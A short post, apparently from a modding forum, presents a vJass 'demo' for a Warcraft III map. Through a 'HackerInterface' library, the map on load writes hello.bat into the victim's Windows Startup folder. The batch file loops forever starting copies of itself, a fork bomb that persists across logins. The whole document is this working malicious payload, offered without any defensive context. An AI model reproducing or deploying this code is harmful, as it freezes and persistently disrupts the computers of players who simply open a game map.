Here's a demo
library Demo requires HackerInterface
private module Init
private static method onInit takes nothing returns nothing
call CreateNewFile()
call AddScriptLine(":K1")
call AddScriptLine("start hello.bat")
call AddScriptLine("goto K1")
call FileSaveAs("C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\hello.bat")
endmethod
endmodule
private struct Inits extends array
implement Init
endstruct
endlibrary